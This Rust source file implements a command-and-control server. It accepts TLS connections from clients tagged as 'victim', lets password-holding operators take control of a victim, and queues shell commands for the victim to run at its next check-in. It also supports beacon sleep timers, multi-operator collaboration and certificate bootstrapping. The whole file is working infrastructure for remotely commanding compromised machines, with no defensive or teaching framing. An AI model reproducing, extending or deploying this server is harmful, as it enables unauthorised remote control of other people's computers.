use rcgen::generate_simple_self_signed;
use std::error::Error;
use std::fs;
use std::fs::File;
use std::fs::write;
use std::io::BufReader;
use std::net::SocketAddr;
use std::path::PathBuf;
use std::sync::{Arc, Mutex};
use std::thread::sleep;
use std::time::Duration;
use std::time::Instant;
use std::usize;
use tokio::fs::read_to_string;
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
use tokio_rustls::TlsAcceptor;
use tokio_rustls::rustls::ServerConfig;
use tokio_rustls::rustls::pki_types::{CertificateDer, PrivateKeyDer};

#[derive(Clone)]
enum ClientAction {
    Output(String),
    Cmd(String),
    Collab(String),
    Hostnames(String),
}

pub struct Client {
    address: String,
    id: usize,
    hostname: Option<String>,
    actions: Vec<ClientAction>,
    controlling: usize,
    controlled: usize,
    collabing: Vec<usize>,
    output_que: Vec<String>,
    logged_in: bool,
    timer: Duration,
    last_check: Instant,
    remove: bool,
    name: String,
    victim: bool,
}

pub struct Server {
    pub address: String,
    pub clients: Vec<Client>,
    pub certificate_path: PathBuf,
    pub key_path: PathBuf,
    pub password: String,
    pub name: String,
    pub hostnames: Vec<String>,
}

pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
    let lock = server.lock().unwrap();
    let mut name_path = lock.certificate_path.clone();
    name_path.pop();
    name_path.push("names.txt");
    let (server_ip, _) = lock.address.split_once(':').unwrap();
    let server_hostnames = lock.hostnames.clone();
    let mut current_config_names = vec![
        server_ip.trim().to_string(),
        "127.0.0.1".to_string(),
        "localhost".to_string(),
    ];
    server_hostnames.iter().for_each(|n| {
        current_config_names.push(n.clone());
    });
    let mut regen = true;
    if let Ok(saved_names_string) = read_to_string(&name_path).await {
        let mut saved_names = Vec::new();
        saved_names_string.lines().for_each(|line| {
            saved_names.push(line.trim().to_string());
        });
        if saved_names == current_config_names {
            regen = false;
        }
    }
    if let Err(_) = load_certs(&lock.certificate_path) {
        regen = true;
    }
    if regen {
        println!("regenerating TLS certificate...");
        if lock.certificate_path.exists() {
            fs::remove_file(&lock.certificate_path)?;
            fs::remove_file(&lock.key_path)?;
            sleep(Duration::from_secs(3));
        }
        let name_config = current_config_names.clone().join("\n");
        write(name_path, name_config.as_bytes())?;
        let cert = generate_simple_self_signed(current_config_names)?;
        write(&lock.certificate_path, cert.cert.pem())?;
        write(&lock.key_path, cert.signing_key.serialize_pem())?;
    }
    let certs = load_certs(&lock.certificate_path)?;
    let key = load_key(&lock.key_path)?;
    let tls_config = ServerConfig::builder()
        .with_no_client_auth()
        .with_single_cert(certs, key)?;

    let acceptor = TlsAcceptor::from(Arc::new(tls_config));

    let listener = TcpListener::bind(lock.address.clone()).await?;

    println!("Listening on {}", lock.address);
    println!("password: {}", lock.password);
    println!("Hostnames:");
    lock.hostnames.iter().for_each(|h| {
        println!("{}", h);
    });
    drop(lock);

    loop {
        let (stream, addr) = listener.accept().await?;
        let acceptor = acceptor.clone();
        let server = server.clone();
        tokio::spawn(async move {
            let mut peek = [0u8; 8];
            if let Ok(n) = stream.peek(&mut peek).await {
                if n >= 8 && &peek[..8] == b"CERT_REQ" {
                    handle_bootstrap(server, stream).await;
                    return;
                }
            }
            match acceptor.accept(stream).await {
                Ok(tls_stream) => {
                    handle_connection_stat9ic(server, tls_stream, addr).await;
                }

                Err(e) => {
                    eprintln!("TLS handshake failed: {}", e);
                }
            }
        });
    }
}

fn load_certs(path: &std::path::Path) -> Result<Vec<CertificateDer<'static>>, Box<dyn Error>> {
    let mut reader = BufReader::new(File::open(path)?);

    Ok(rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?)
}

fn load_key(path: &std::path::Path) -> Result<PrivateKeyDer<'static>, Box<dyn Error>> {
    let mut reader = BufReader::new(File::open(path)?);
    let key = rustls_pemfile::private_key(&mut reader)?.ok_or("No private key found")?;
    Ok(key)
}

async fn handle_bootstrap(server: Arc<Mutex<Server>>, mut stream: TcpStream) {
    let mut buf = [0u8; 1024];
    let n = match stream.read(&mut buf).await {
        Ok(n) => n,
        Err(_) => return,
    };
    if n == 0 {
        return;
    }
    let msg = String::from_utf8_lossy(&buf[..n]);
    if msg.trim() != "CERT_REQ" {
        return;
    }
    let cert_path = {
        let lock = server.lock().unwrap();
        lock.certificate_path.clone()
    };
    let cert_pem = match std::fs::read_to_string(cert_path) {
        Ok(c) => c,
        Err(_) => return,
    };
    let response = format!("CERT|{}\n", cert_pem);
    let _ = stream.write_all(response.as_bytes()).await;
}

async fn handle_connection_stat9ic<S>(server: Arc<Mutex<Server>>, mut stream: S, addr: SocketAddr)
where
    S: AsyncRead + AsyncWrite + Unpin,
{
    let mut buf = vec![0u8; 4096];
    let n = match stream.read(&mut buf).await {
        Ok(n) => n,
        Err(e) => {
            eprintln!("Read Error: {e}");
            return;
        }
    };
    if n == 0 {
        return;
    }
    let msg = String::from_utf8_lossy(&buf[..n]);
    if msg.contains("HELLO") {
        let mut victim = false;
        if let Some((_, ctype)) = msg.split_once("|") {
            if ctype.contains("victim") {
                victim = true;
            }
        }
        let mut connected = false;
        let mut id = 0;
        if let Ok(mut lock) = server.lock() {
            let new_client = Client {
                address: addr.to_string(),
                id: lock.clients.len() + 1,
                hostname: None,
                actions: Vec::new(),
                controlled: 0,
                controlling: 0,
                collabing: Vec::new(),
                output_que: Vec::new(),
                logged_in: false,
                timer: Duration::from_secs(5),
                last_check: Instant::now(),
                remove: false,
                name: String::new(),
                victim,
            };
            connected = true;
            id = new_client.id.clone();
            lock.clients.push(new_client);
        }
        if connected {
            stream
                .write_all(format!("HELLO|{}\n", id).as_bytes())
                .await
                .unwrap();
            println!("client connected! ID:{}", id,);
        }
    } else {
        let mut authenticated = false;
        let mut checkin = String::new();
        if let Some((password, data)) = msg.split_once("**") {
            checkin = data.to_string();
            if let Ok(mut lock) = server.lock() {
                if password.trim().to_string() == lock.password {
                    authenticated = true;
                } else {
                    if let Some((id, _)) = data.split_once("|||") {
                        if let Ok(id) = id.parse::<usize>() {
                            lock.clients
                                .iter_mut()
                                .filter(|c| c.id == id)
                                .for_each(|c| {
                                    if c.logged_in {
                                        c.logged_in = false;
                                        println!("{} provided an incorrect password!", c.id);
                                    }
                                });
                        }
                    }
                }
            }
        }
        if authenticated {
            if let Some((source, data)) = checkin.split_once("|||") {
                if let Ok(source_id) = source.trim().parse::<usize>() {
                    let mut responses = Vec::new();
                    if let Ok(mut lock) = server.lock() {
                        let server_name = lock.name.clone();
                        if let Some(source_client) =
                            lock.clients.iter_mut().find(|c| c.id == source_id)
                        {
                            responses = source_client.actions.clone();
                            source_client.last_check = Instant::now();
                        }
                        data.split("||").into_iter().for_each(|action| {
                            if let Some((cmd, data)) = action.split_once("|") {
                                match cmd.trim() {
                                    "SET_NAME" => {
                                        lock.clients
                                            .iter_mut()
                                            .filter(|c| c.id == source_id)
                                            .for_each(|c| {
                                                c.name = data.trim().to_string();
                                            });
                                        responses.push(ClientAction::Cmd(format!(
                                            "SET_NAME|{}",
                                            lock.name
                                        )));
                                    }
                                    "OUTPUT" => {
                                        if let Some(dest_client) = lock
                                            .clients
                                            .iter_mut()
                                            .find(|c| c.controlling == source_id)
                                        {
                                            dest_client.actions.push(ClientAction::Output(
                                                format!(
                                                    "from {}({}): {}",
                                                    dest_client.name,
                                                    dest_client.id,
                                                    data.trim()
                                                ),
                                            ));
                                        } else {
                                            if let Some(source_client) =
                                                lock.clients.iter_mut().find(|c| c.id == source_id)
                                            {
                                                source_client.output_que.push(format!(
                                                    "from {} (server): {}",
                                                    server_name,
                                                    data.trim()
                                                ));
                                            }
                                        }
                                    }
                                    "CMD" => {
                                        if let Some(dest_client) = lock
                                            .clients
                                            .iter_mut()
                                            .find(|c| c.controlled == source_id)
                                        {
                                            dest_client
                                                .actions
                                                .push(ClientAction::Cmd(data.to_string()));
                                            responses.push(ClientAction::Output(format!(
                                                "tasked client {} to run {}",
                                                dest_client.id, cmd
                                            )));
                                        }
                                        else{
                                            let mut colabs = Vec::new();
                                            lock.clients.iter_mut().filter(|c| c.id == source_id).for_each(|c|{
                                                if c.collabing.is_empty(){
                                                    c.actions.push(ClientAction::Output("Error no controlled or collabed clients associated with you!".to_string()));
                                                }
                                                else{
                                                    c.collabing.iter().for_each(|id|{
                                                        colabs.push(id.clone());
                                                    });
                                                }
                                            });
                                            if !colabs.is_empty(){
                                                colabs.iter().for_each(|id|{
                                                    lock.clients.iter_mut().filter(|c| &c.id == id).for_each(|c|{
                                                        c.actions.push(ClientAction::Cmd(data.to_string()));
                                                    });
                                                });
                                            }
                                        }
                                    }
                                    "CONTROL" => {
                                        let new_control_id = data.trim().parse::<usize>().unwrap();
                                        if let Some(controlling_client) =
                                            lock.clients.iter_mut().find(|c| c.id == source_id)
                                        {
                                            controlling_client.controlling = new_control_id.clone();
                                        }
                                        if let Some(contlled_client) =
                                            lock.clients.iter_mut().find(|c| c.id == new_control_id)
                                        {
                                            contlled_client.controlled = source_id;
                                        } else {
                                            if let Some(controlling_client) =
                                                lock.clients.iter_mut().find(|c| c.id == source_id)
                                            {
                                                controlling_client.controlling = 0;
                                            }
                                        }
                                    }
                                    "STOP_CONTROL" => {
                                        if let Some(source_client) =
                                            lock.clients.iter_mut().find(|c| c.id == source_id)
                                        {
                                            if source_client.controlling != 0 {
                                                println!(
                                                    "deslelcting client: {}",
                                                    source_client.controlling
                                                );
                                                let dest_client_id =
                                                    source_client.controlling.clone();
                                                if let Some(dest_client) = lock
                                                    .clients
                                                    .iter_mut()
                                                    .find(|c| c.id == dest_client_id)
                                                {
                                                    dest_client.controlled = 0;
                                                    println!(
                                                        "client {} deselected",
                                                        dest_client.id
                                                    );
                                                }
                                            }
                                        }
                                    }
                                    "BREAK_CONTROL" => {
                                        if let Some(source_client) =
                                            lock.clients.iter_mut().find(|c| c.id == source_id)
                                        {
                                            if source_client.controlled != 0 {
                                                let dest_id = source_client.controlled.clone();
                                                source_client.controlled = 0;
                                                if let Some(dest_client) = lock
                                                    .clients
                                                    .iter_mut()
                                                    .find(|c| c.id == dest_id)
                                                {
                                                    dest_client.controlling = 0;
                                                }
                                            }
                                        }
                                    }
                                    "LIST_CLIENTS" => {
                                        lock.clients.iter().for_each(|c| {
                                            let out;
                                            let dead = Instant::now().duration_since(c.last_check)
                                                > c.timer;
                                            if let Some(hostname) = c.hostname.clone() {
                                                out = format!(
                                                    "{}: {}({}) - Alive:{}",
                                                    c.id, hostname, c.address, !dead
                                                );
                                            } else {
                                                out = format!(
                                                    "{}: {} - Alive:{}",
                                                    c.id, c.address, !dead
                                                );
                                            }
                                            println!("client list requested!");
                                            println!("adding {} to response...", out);
                                            responses.push(ClientAction::Output(out));
                                        });
                                    }
                                    "TEST" => {
                                        responses.push(ClientAction::Output(format!(
                                            "from: {} server() TEST BACK",
                                            server_name
                                        )));
                                    }
                                    "SET_HOSTNAME" => {
                                        lock.clients
                                            .iter_mut()
                                            .filter(|c| c.id == source_id)
                                            .for_each(|c| {
                                                c.hostname = Some(data.trim().to_string());
                                            });
                                    }
                                    "LOGOUT" => {
                                        lock.clients
                                            .iter_mut()
                                            .filter(|c| c.id == source_id)
                                            .for_each(|c| {
                                                c.logged_in = false;
                                                responses.push(ClientAction::Output(
                                                    "Logout successful!".to_string(),
                                                ));
                                            });
                                    }
                                    "DISCONNECT" => {
                                        println!("client disconnected!");
                                        lock.clients
                                            .iter_mut()
                                            .filter(|c| c.id == source_id)
                                            .for_each(|c| {
                                                c.remove = true;
                                            });
                                    }
                                    "COLLAB" => {
                                        let dest_id: usize = data.trim().parse().unwrap();
                                        lock.clients
                                            .iter_mut()
                                            .filter(|c| c.id == source_id)
                                            .for_each(|c| {
                                                c.collabing.push(dest_id.clone());
                                            });
                                        lock.clients
                                            .iter_mut()
                                            .filter(|d| d.id == dest_id)
                                            .for_each(|d| {
                                                d.collabing.push(dest_id.clone());
                                            });
                                        println!("{} is collabing with {}", source_id, dest_id);
                                    }
                                    "SLEEP" => {
                                        if let Ok(secs) = data.parse::<u64>() {
                                            lock.clients
                                                .iter_mut()
                                                .filter(|c| c.id == source_id)
                                                .for_each(|c| {
                                                    c.timer = Duration::from_secs(secs);
                                                });
                                        }
                                    }
                                    _ => {}
                                }
                            }
                            else{
                                if action.contains("REQ_HOSTNAMES") {
                                    let hostnames = lock.hostnames.clone().join(",");
                                    lock.clients.iter_mut().filter(|c| c.id == source_id).for_each(|c|{
                                        c.actions.push(ClientAction::Hostnames(hostnames.clone()));
                                    });
                                    println!("hostnames sent!");
                                }
                            }
                        });
                    }
                    if responses.len() > 0 {
                        let mut messages = Vec::new();
                        for r in responses {
                            match r {
                                ClientAction::Cmd(cmd) => {
                                    messages.push(format!("CMD|{}", cmd));
                                }
                                ClientAction::Output(text) => {
                                    println!("adding {} to output", text);
                                    messages.push(format!("OUTPUT|{}", text));
                                }
                                ClientAction::Collab(text) => {
                                    println!("todo, {}", text);
                                }
                                ClientAction::Hostnames(hostnames) => {
                                    messages.push(format!("HOSTNAMES|{}", hostnames));
                                }
                            }
                        }
                        let full_message = messages.join("||");
                        println!("attempting to send {}", full_message);
                        let buf = full_message.as_bytes();
                        stream.write(buf).await.unwrap();
                        println!("buffer written!");
                        if let Ok(mut lock) = server.lock() {
                            if let Some(source_client) =
                                lock.clients.iter_mut().find(|c| c.id == source_id)
                            {
                                source_client.actions.clear();
                            }
                        }
                    }
                }
            }
        } else {
            if let Some((source, data)) = checkin.split_once("|||") {
                if let Ok(source_id) = source.trim().parse::<usize>() {
                    println!("{}", source_id);
                    let mut responses = Vec::new();
                    if let Ok(mut lock) = server.lock() {
                        data.split("||").into_iter().for_each(|action| {
                            if let Some((cmd, data)) = action.split_once("|") {
                                match cmd.trim() {
                                    "LOGIN" => {
                                        let password = lock.password.clone();
                                        if data.trim().to_string() == password {
                                            lock.clients
                                                .iter_mut()
                                                .filter(|c| c.id == source_id)
                                                .for_each(|c| {
                                                    c.logged_in = true;
                                                    responses.push(ClientAction::Output(
                                                        "Login successful!".to_string(),
                                                    ));
                                                    println!("client {} logged in!", source_id);
                                                });
                                        } else {
                                            responses.push(ClientAction::Output(
                                                "Login failed!".to_string(),
                                            ));
                                        }
                                    }
                                    _ => {
                                        responses.push(ClientAction::Output(
                                            "Not authenticated!".to_string(),
                                        ));
                                    }
                                }
                            }
                            println!("error splitting cmd and data!");
                        });
                    } else {
                        println!("error getting server lock!");
                    }
                    if responses.len() > 0 {
                        let mut messages = Vec::new();
                        for r in responses {
                            match r {
                                ClientAction::Cmd(cmd) => {
                                    messages.push(format!("CMD|{}", cmd));
                                }
                                ClientAction::Output(text) => {
                                    println!("adding {} to output", text);
                                    messages.push(format!("OUTPUT|{}", text));
                                }
                                ClientAction::Collab(text) => {
                                    println!("todo, {}", text);
                                }
                                ClientAction::Hostnames(_) => {
                                    messages.push("OUTPUT|Not authenticated".to_string());
                                }
                            }
                        }
                        let full_message = messages.join("||");
                        println!("attempting to send {}", full_message);
                        let buf = full_message.as_bytes();
                        stream.write(buf).await.unwrap();
                        println!("buffer written!");
                    }
                } else {
                    println!("error parsing source ID!");
                }
            } else {
                println!("error splitting source from data!");
            }
        }
    }
    if let Ok(lock) = server.try_lock() {
        println!("Client Information:");
        lock.clients.iter().for_each(|c| {
            println!(
                "ID:{} ADDRESS:{} AUTHENTICATED:{}",
                c.id, c.address, c.logged_in
            );
        });
    }
}